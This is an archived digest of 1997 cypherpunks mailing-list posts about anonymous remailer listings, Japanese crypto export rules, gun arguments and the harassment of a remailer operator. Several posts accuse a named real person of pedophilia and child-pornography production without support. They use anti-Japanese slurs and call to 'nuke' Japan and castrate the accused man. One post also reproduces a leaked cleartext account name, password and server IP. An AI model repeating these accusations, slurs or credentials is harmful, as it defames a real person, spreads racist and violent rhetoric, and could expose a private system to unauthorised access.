Date: Mon, 17 Nov 1997 15:05:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: kiwi not home (was: getting premail)
In-Reply-To: <ciQ052BPHhNlGI87sr7/tQ==@bureau42.ml.org>
Message-ID: <Pine.LNX.3.96.971117064636.20387A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 17 Nov 1997, bureau42 Anonymous Remailer wrote:

> kiwi is NOT refusing connections.  It is just not there.  There's 
> a difference.
Yep. Kiwi is dead. Most everything that was on kiwi has moved to publius.net.

> stats at a few dozen places scattered around the world? Would
They are. You can get different perspectives on remailer stats by fingering:

rlist@anon.efga.org
mlist@anon.efga.org (Mixmaster stats)
rlist@anon.lcs.mit.edu
mlist@anon.lcs.mit.edu (guess what)

Or rlist@publius.net; I don't recall what the syntax for the Mixmaster list
is over there (and no, it's not mlist@publius).

dave

--

Today's pseudorandom quote:
"How many of those words did you just make up?" -- from "Dilbert", 11-8-90

David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 17 Nov 1997 23:09:51 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199711171450.GAA08163@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 21:21:39 +0800
To: cypherpunks@toad.com
Subject: Joichi Ito's reputation as a pedophile (Was: Exporting child pornography from Japan)
In-Reply-To: <199711170700.QAA13617@eccosys.com>
Message-ID: <icBBge7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito <jito@eccosys.com> writes:

> At 16:30 97/11/16 -0700, Tim May wrote:
>
> > My strong suspicion is that Japanese journalists and source are NOT the
> > best place to learn about Japanese SIGINT and COMINT capabilities. Not hard
> > to see some reasons for this.
>
> I will agree with you on this. I am not an expert. (I am not a traditional
> journalist either.) I was just stating my honest understanding and
> impression.

"Honest"?  Bwa-ha-ha!

This "journalist" (a colleague of the pathological liar Charlie Platt)
probably writes pornographic for Jap X-rated rags.

> > Please notify me, and us, of the forums where these engagements are
> > occurring. For starters, how about some e-mail addresses of cabinet
> > ministers and other officials.
>
> The main problem is that most of it is in Japanese.

Learn some English, asshole.

> > This discussion is hardly going down in flames. You're apparently too
> > sensitive to engage in robust debate.
>
> This is true. I am not going engage in what you probably call a robust
> debate. A lot of people read this list and any robust debate will
> probably lower my reputation capital in some important area for me
> no matter what the outcome. I am not currently willing to take this risk.

Ito-san's repuatation is that of a pedophile.  Japs don't export crypto
(that would upset the NSA) but they do export pictures of little Jap girls
being sexually molested.  Is Ito-san one of the major exporters of child
pornography from Japan, or is he one of the male models in those pictures?

Nuke the Yellow Peril (again)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 21:19:51 +0800
To: cypherpunks@toad.com
Subject: Re: Exporting crypto from Japan
In-Reply-To: <Pine.GSO.3.95.971117102403.17390E-100000@nebula>
Message-ID: <6RBBge8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jyri Kaljundi <jk@stallion.ee> writes:

> On Sun, 16 Nov 1997, Tim May wrote:
>
> > And, almost immediately, the Japanese RSA chip became "unavailable."
>
> Which reminds me of a cryptochip done here in Estonia, which does 768-bit
> RSA encryption / key exchange and 10Mbps 128-bit IDEA. It should be fairly
> easy to change RSA length to 1024 or 2048. If someone is curious about the
> price I could find it out.

This reminds me how I once did a project on a distinguished gentleman named
Jakubaitis. Is he still alive? Oh wait, he's in another country now. :-)

Yes, I think many people would be interested to see prices/availability,
please post them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 21:54:50 +0800
To: cypherpunks@toad.com
Subject: Re: Politically Correct Riding Hood
In-Reply-To: <3.0.3.32.19971117011300.032b526c@popd.netcruiser>
Message-ID: <11BBge9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke <JonWienk@ix.netcom.com> writes:

> At 05:51 PM 11/16/97 EST, Dr.Dimitri Vulis KOTM wrote:
> >Eric Cordian <emc@wire.insync.net> writes:
> >>
> >> Author Unknown (to me at least) but it fits in well with our current
> >> discussion of how not to offend various minority groups.
> >>
> >> -----
> >>
> >> There once was a young person named Little Red Riding Hood who lived
> >...
> >
> >This is the first story in a very funny little book called _Politically
> Correct
> >Bedtime Stories: Modern Tales for Our Life & Times_ by james Finn Garner,
> >Macmillann, ISBN 0-02-542730-X, *** (C) 1994 by James Finn Garner ***.
> >
> >I also have his _Once Upon a More Enlightened Time: More Politically Correct
> >Bedtime Stories_, Macmillan, ISBN 0-02-860419-9.  Both highly recommended.
>
> Yeah, but the story in Garner's book didn't end with
> >"I feel your pain," said the Wolf, and he patted the woodchopper on
> >his firm, well padded ass, gave a little belch, and said, "Do you have
> >any Maalox?"

I only looked at the _first few paragraphs.

Is there any stego meaning to the variations from the printed version? :-)

"Nuke the Yellow Peril (again).  Castrate the reputed pedophile Joichi Ito."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 21:55:24 +0800
To: cypherpunks@toad.com
Subject: Re: Exporting crypto from Japan
In-Reply-To: <JPOGPNJHEAJKAAAA@mailexcite.com>
Message-ID: <q5BBge10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Benjamin Chad Wienke" <woodwose@mailexcite.com> writes:

> At 06:37 PM 11/16/97 PST, Nobuki Nakatuji wrote:
> >Do you readJapanese import & export law book?
> >If you don't read at yet,You must read it.
>
> I bet that NoNookie's next post offers copies of Jap inport/export
> laws for $50.

I further bet that Ito-san will offer the same for $40, AND will bundle
in JPEG pictures of himself fucking a herd 14-year-old Jap schoolgirls.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 21:56:05 +0800
To: cypherpunks@toad.com
Subject: Re: Hey Punk!!
In-Reply-To: <Pine.GSO.3.96.971105144332.28931B-100000@bambi.visi.com>
Message-ID: <TBDBge12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Josh Lynch writes:

> I just mailed Jason. I feel like an asshole about missing my third day.
> I haven't got any sleep since tuesday, and I haven't kept any food down
> since Subway yesterday. I have a nice fever, and I can't sleep because my
> stomach feels nautious (sp?). Well enough of my sob story, I think I made
> a great impression today (not) you'll probably be lucky to see me tomarrow
> if I get fired. Oh yeah, on top of all that I miss the metting that I
> needed to go to the most. Later
>
> josh
>
> On Wed, 5 Nov 1997, Super-User wrote:
>
> > Hey ya punk!!
> >
> > 	What's this crap about being sick??  Ya punk, wheere's the desire, the
> > ambition, the need to puke on your client's terminal??
> > 	We're headed out to Impressions Inc.  to do some Xinet shit and to talk
> > to the Xinet Rep.  Jason wanted you to come along to meet Xinet reps.
> > Ya better feel special 'cause I never got asked to meet any reps, I had
> > to corner'em and kick their ass to get a response.  Anyway, if you feel
> > good enough to come with, call Jason's cel @ 8674526 or the condo @
> > 9276596.
> >
> > 			Later,
> > 			Murray
> >
> >
> > P.S.- I made you an account on the SGI (josh, passwd:calvin1)
                                            ^^^^         ^^^^^^^
> >      IP:206.144.185.110
            ^^^^^^^^^^^^^^^
Note the risks of sending passwords in cleartext and fucking up the
e-mail addresses so they end up in my orphan mailbox. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pier Carlo Montecucchi <pcmontecucchi@compuserve.com>
Date: Mon, 17 Nov 1997 21:04:38 +0800
To: unknown <Cypherpunks@toad.com>
Subject: List
Message-ID: <199711170751_MC2-2873-FC51@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



I will appreciate to be included in your list.
Sincerely
Pier Carlo Montecucchi
Intelligence-Net Office
540 Beverly Ct. - suite 1
Tallahassee Fl 32301 - USA
Email: pcmontecucchi@compuserve.com
phone: 212-208-2647
fax: 212-208-2648





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 17 Nov 1997 07:49:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <199711161635.BAA06329@eccosys.com>
Message-ID: <199711162343.IAA12079@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:26 97/11/16 -0700, Tim May wrote:
> At 9:35 AM -0700 11/16/97, Joichi Ito wrote:
> >At 09:02 97/11/14 -0700, Tim May wrote:

> And, almost immediately, the Japanese RSA chip became "unavailable." A
> longterm Cypherpunk, who can speak up if he desires to, had a few of these
> chips in the U.S. before the NSA ordered Chobetsu/MITI to halt export (and
> probably even to halt internal use in products developed for export). He
> told me the chips had suddenly become "unavailable," with no apparent
> prospects for them _ever_ becoming available. The stooges in Nippon listen
> when their masters speak.

It was for this longterm Cypherpunk that I looked into the RSA export
issue and gave them the recommendation. It is likely that some pressure
from the US government is being put on Japanese ministries such as MITI,
but there are certain government agencies that aren't as exposed to US
pressure
who also have domestic political strength. Also, I looked into the "Chobetsu"
that you refered to in a previous message and I think you are refering to the
"Naikaku Chosashitsu Betsushitsu" which is the group that engages in the often
rather shady "super-legal" actions like stamping out political parties and
going after cults. I don't think they have any direct involvement in the
current
RSA issue and I wouldn't call them "Japan's NSA." They are more like some
kind of secret police. (I can already image the kind of messages I'm going to
receive on this list for engaging with you at this level of dialog, but for
the
benefit of some of the lurkers, I think it's worth it...) My point is, you
are probably
right that there is some activity by groups like the NSA putting pressure on
exposed parts of Japanese government to stifle export of crypto. But... the
current Japanese government is not as organized as you might think and
there are many different groups with different opinions. I don't think it is
necessary to write off all Japanese as stooges. Also, I disagree that there
is "no apparent prospects for them _ever_ becoming available." This is not
true. There is quite a bit a dialog going on in Japan about US pressure on
Japan, US "information imperialism" and about those groups within Japan
who are listen to the US. Some of the Japanese who have been speaking up
against US policy have begun being labeled as "right-wing nationalists".
(Which is probably better protection in Japan than being called a "left-wing
liberal.") In any case, there is a fight going on inside Japan which isn't
just
a show. So much of what you are saying is true in a general sense, but there
are still a lot of unresolved issues in Japan worth fighting for if anyone
is interested in looking into the detail. I personally think that the
impact of
Japan's actions is great enough so that it might be worth engaging rather
than just writing us off.

> >to regulate or restrict an activity without a clear and easy to understand
> >process and documentation. MITI's current method of "case-by-case"
> >export permission could technically be viewed as a breach of this
> >law/regulation. Also, the "Gyousei Tetsuzuki Hou" has time limits
> >for ministries to respond to requests. I have informed RSA that they
> >could take MITI to court on this one, but as far as I know, they haven't.
> >So, yes, Japanese stooges were involved, but companies such as RSA
> >haven't taken advantage of their legal position in pushing the export
> >of their products from Japan.
> 
> RSA the company may have various reasons for not pushing the issue too
> hard. For one thing, pissing off the NSA (even more) may cut into business
> contracts. For another, designing the Japanese chip into products could be
> a dangerous thing, if the supply is uncertain (and winning one court battle
> in Japan may not ensure continued supplies). Finally, recall that I
> publically described threats by NSA agents to have Bidzos "run over in your
> parking lot."

Well, I can understand that Mr. Bidzos doesn't want to get run over in
the parking lot, but don't you think strong crypto for the world is more
important? Why doesn't he buy a gun and sue MITI. ;-P

- Joi

P.S. I can already see this message going down in a flurry a flames.
Although I'm getting used to ignoring irrelevant messages and taking
cheap shots at Tim when I have the chance, I'm still not sure if the risk
of engaging in dialog "out in the open" is worth the net reputation
capital earned after all of the mud is slung. Also, I'm not sure whether
giving away all of my tactics just to win an arguement is worth it.
Maybe it is better to save those rounds for the real fight. My point is,
if people on this list are really going to do anything about crypto
I'll continue to weather the attacks and engage in dialog with you.
If the point of this list is to just beat each other up and talk about how
bad it all is, then I'm going to give up.

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Tue, 18 Nov 1997 01:20:26 +0800
To: cypherpunks@toad.com
Subject: [REPOST] Gary Burnore's Harassment of the Huge Cajones Remailer
Message-ID: <199711171701.JAA23788@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <remailer@htp.org>
Date: Mon, 17 Nov 1997 17:08:32 +0800
To: cypherpunks@cyberpass.net
Subject: The Illusion of Freedom
Message-ID: <19971117090501.6118.qmail@nsm.htp.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Kent Crispin wrote:
>On Thu, Nov 13, 1997 at 05:59:51AM -0000, [Nerthus] wrote:
>[...]
>> 
>> "I know not what course others may take; but as for me, give me liberty, 
>> or give me death." -- Patrick Henry
>> 
>> What is life without liberty?  Abject slavery.  Any sane man would rather
>> die than be a slave.
>
>It makes nice rhetoric, but this is simply not true, you know.  Most 
>people correctly evaluate that you have no chance for freedom at all 
>if you commit suicide, whereas a slave *does* have a chance.

Assuming he recognizes that he *is* a slave.  Most people are oblivious
to this fact.

>But of course we know from game theory that being completely
>predictable can be a weakness.  So having a certain percentage of the
>population who will behave irrationally is probably necessary for the
>health of a society.  But if too many people act irrationally, 
>society will disintegrate.  (By "irrational" here I am referring to 
>behaviour clearly contrary to your own survival.)

'Tis true.  War is a perfect example of what happens when too many
people act irrationally.

I'm interested in avoiding war without becoming a slave in the process.
Anyone else?

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNGz3tuFWwZe05jcJAQFkDQf+L2Xv0bL8zIT6aKZDkPSYYcLnDD1Ky8d8
F6/1NMid0ZSsn/d6QtMH+ToZDHIuXsY2H12RZqmjSxLnaOm6BPsdGvxviuPoMKT2
1OFEszVgCbx0R+6mcZSjHtkbPr03s1+YgfEShdp7HRymmFsKkb71lPGj3naj1Yle
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=0zEn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 17 Nov 1997 08:13:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan : Was Tim May's offensive racism
In-Reply-To: <199711161635.BAA06329@eccosys.com>
Message-ID: <199711170007.JAA12138@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 13:11 97/11/16 EST, Dr.Dimitri Vulis KOTM wrote:

> Tell that to the American suckers who bought some Jap stock and tried to
> attend Jap stockholder meetings and asked Jap courts to protect their
> property rights as stockholders.  Do you remember that one, Ito-san?

Yes. That was the Kubota/Pickens case. My lawyer represented the US
side. He lost. That doesn't mean it wasn't worth trying.

Anyway, I responded to your message for the benefit of the other members
of the list.

Go ahead and flame away Vulis. Being called a moron by you is a
compliment. ;-P Your reputation is so low that I don't care what you say
about me or what your think for that matter.

 - Joi

Administrative note: This will probably be the last Vulis message I will
ever respond to or refer to.

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 18 Nov 1997 01:21:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: KC is an Idiot
In-Reply-To: <HJJIHMFFBLHKAAAA@mailexcite.com>
Message-ID: <19971117090946.16451@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Nov 17, 1997 at 01:51:05AM -0700, Benjamin Chad Wienke wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 01:00 AM 11/16/97 -0800, Kent Crispin wrote:
> >Hmm -- I've been robbed at gunpoint 3 times, pistol-whipped once.  The
> >perpetrators were all minorities; none were ever caught.  Possessing a
> >gun at the time wouldn't have made a positive difference in any of the
> >cases, incidentally.  (I own several guns; I am quite familiar with
> >guns; I no longer really have a use for them, though.)
> 
> I thought Kent was a liberal suckup shill, but now I realize he is
> merely a stupid jackass. Unless Kent walks around in a semipermanent
> state of rectal defilade, having a gun in his posession WOULD have
           ^^^^^^^^^^^^^^^
Nice phrase.

> made a significant difference in each case. A certain amount of
> situational awareness IS required to have your gun aimed at the
> punk(s) before the punks get the drop on you. Anyone unable to be
> aware of their surroundings deserves whatever they get--natural
> selection removing stupid genes from the pool and all that.

You quite clearly don't know what you are talking about, little boy. 
My Dad got me my first gun when I was around 8, 40 some years ago.  By
the time I was your emotional age (12) I knew that guns weren't toys. 

Say "hi" for us, to Tinkerbell and the rest of the crowd in Nevernever
Land. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Tue, 18 Nov 1997 01:44:12 +0800
To: cypherpunks@toad.com
Subject: [REPOST] Gary Burnore's Harassment of the Huge Cajones Remailer
Message-ID: <199711171711.JAA24770@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Since Gary Burnore has been making posts in the alt.privacy.anon-server NG
about how remailers are supposedly being "abused" in order to "forge"
articles in his name, I figure it's time to repost a Usenet article from
Jeff Burchell, operator of the Huge Cajones Remailer, about Gary Burnore's
harassment which ultimately convinced him to shut down the remailer, in
order to document Mr. Burnore's modus operandi, in case he attempts a
similar attack against another remailer:

--- BEGIN INCLUDED MESSAGE ---

Subject:      Jeff's Side of the Story.
From:         toxic@hotwired.com (Jeff Burchell)
Date:         1997/07/01
Message-ID:   <5pbnoe$f29$1@re.hotwired.com>
Followup-To:  alt.privacy.anon-server,alt.fan.steve-winter,
              alt.religion.scientology,alt.anonymous,misc.misc,
              alt.censorship,news.admin.censorship,comp.org.eff.talk,
              news.admin.net-abuse.misc
Organization: Content, Inc
Newsgroups:   alt.privacy.anon-server,alt.fan.steve-winter,
              alt.religion.scientology,alt.anonymous,misc.misc,
              alt.censorship,news.admin.censorship,alt.cypherpunks,
              comp.org.eff.talk,news.admin.net-abuse.misc


Anonymous (nobody@REPLAY.COM) wrote:

: > Only Jeff knows the whole story.

Actually, not even I know the whole story.  If I truely knew who it was
that was orchestrating this attack, it would have stopped, one way or
another.  The problem is, I don't know all the players (I have some
suspicions, which I'll elaborate on further in a little bit) but I don't
_really_ know who did it, and I really don't know why (other than a "I
don't like remailers, I think I'll shut one down").  And I really don't
know the background or what precipitated this.

: > But I have to ask. Could this
: > just be an" I'm sick of this shit, f**k it, I quit, who needs this
: > aggravation, I'll just pull the plug and go have a beer" reaction
: > to what really seems like a fairly small problem.

It is not a small problem anymore when you're getting >200 complaint
messages a day, plus 5-10 phone calls to your employer (and your
employer's legal department).  Fortunately, Wired is a very progressive
company, and supported my efforts to provide anonymity, but our lawyers
aren't paid to answer phone calls on my behalf.  Running a remailer is
one thing... getting harassed at work is an entirely different matter, and
getting a THIRD PARTY harassed at work is yet another one.

But yes, The ultimate "take this thing down" decision was one made
because I was sick of this bullshit.  But you know what?  I volunteer
my time, my computer equipment, and bandwidth that is given to me
as part of my salary.  I do (well did) all of this because I believe
that anonymity is a right, and because I have the capabilities of
helping to provide anonymity to the masses.  When the remailer was
self-sufficient (before the attacks started), it took maybe 10 minutes
of my time a day, and minimal resources on my machine.  Afterwards,
even after I put in the auto-blocking feature (send a blank message
to a particular address and get your address blocked) and the
autoresponder on the remailer-admin account, I was still getting >100
messages a day reporting abuse... almost all of it spam-bait related.
I receive no benefit from running the remailer (I don't even use it
myself), and when it becomes a fairly major hassle without any
rewards, the decision is not a hard one to make.

And frankly, I already have enough to do, and get enough mail on a
daily basis (at last check it was hovering around 600 messages/day).
As soon as the remailer started taking up a lot of my time, it became
time to rethink why I was running it.  The moment that the spam-baiter
started alerting people who had been baited, and telling them to
contact me, it became personal.  And I don't have time to get into
personal pissing-contests.  Yes, I took the easy way out, but that
was my choice to make.

Anyone who doesn't run a remailer has very little right questioning my
 choice, because you have no idea what precipitated it.  Most people
reading this group have the capabilities of running a remailer (it only
takes a POP account and a Windows machine to run the Winsock remailer),
but very few of us actually do.  Why is that?  I've been running huge.
cajones for just under 2 years, and it averaged just over 3000 messages
a day, so my remailer was responsible for about 2 million anonymous
messages in its lifetime.  I think I've done my part (at least for now),
it's time for someone else to do theirs.  If we had 15 disposable remailers
that operated for 2-3 months each before moving/going away, we'd have
paths for millions more anonymous messages.  And isn't that what we're
really trying to provide?

: The first was doing questionable things, like installing content-based
: filtering in an attempt to placate the attacker.  Giving in to the demands

When I first put the filters in, I was entirely unaware of exactly what
the hell was going on.  It seemed that someone had a bone to pick with
databasix, and was using the remailer to get databasix harassed by
third parties.  So, Burnore's complaint seemed reasonable at the time, and
I tried to come up with a way to block spam-bait abuse, without blocking
anything else (like a reply to burnore in Usenet).

See, if someone was doing to me what they appeared to be doing to Burnore,
I would be pissed.  I figured placating him would be the best thing to
do.  In hindsight, I was wrong, but at the time, it seemed like the correct
decision.  (Also at the same time, the SPA threatened Wired with a
lawsuit because of The MailMasher, so things were a little tense between
me and the legal department already, I didn't need to make them any worse.)

The final content-based-filter (there was an interim one) looked for the
 following things:

1. Any address at databasix (Yes, at the request of Burnore)
2. Any address from my destination block list
3. More than 5 addresses in a row, one line each, without other content
   in-between.
4. Patterns of particular Usenet groups.
5. Particular subject lines.

If any THREE of these items were spotted, the message got thrown into a
reject bin.  I periodically examined the reject bin, and can personally
attest that it didn't block ANYTHING that it wasn't intended to.  (The
test posts reeked of spam-bait to me, and I believe were correctly
blocked)

FWIW, the filters were removed about a week ago.

Because the filters were looking for a specific form of ABUSE, and not
just doing basic pattern matches, I don't consider them to be "content
filters".  I would think that just about anyone would agree that
posting lists of email addresses to mlm newsgroups would qualify
as abuse, and _should_ be blocked.   Blocking of this nature does NOT
restrict free speech (or at least that is not the intentions of it), and
it would keep the remailer out of lawsuit territory.

See, the big problem with lawsuits is not the fact that _I_ don't want
to be sued.  The problem is that anyone with half a brain can determine
that Wired is somehow related to any remailer that I am running on their
bandwidth.  Wired has deeper pockets than Mr. Burchell, so they are a
much better group to sue... and they are a lot more willing to give
in to a threat than I am.

: What I *MIGHT* have done was to respond as follows:
:
:    Your legal demands are unacceptable.  I'd rather close the remailer than
:    compromise its integrity to suit your whims.  But understand this -- unless
:    you withdraw your demands, I will not only close the remailer but also make
:    damn sure all of its users know exactly who forced me to take this action!

I did respond in a fashion much like this, about a week before the attacks
started coming.  Mr. Burnore requested a copy of my (non-existant) logs.
I told him to get me something in writing, signed by his lawyer that
stipulated that the logs were confidential, and not to be revealed to
anyone outside of the lawyer's office.

I received a letter from Belinda Bryan.  She is not registered with the
State Bar of California, and is thus, not a California lawyer.  I then
ignored the request, and forwarded the correspondence to the State
Attorney General's office (as impersonating a lawyer in CA is defined
as fraud with extenuating circumstances).  They have been working with
me and the San Francisco DA's office.  Look out DataBasix... I'm not done
with you yet.

: The second mistake I perceive is not fully disclosing the circumstances that
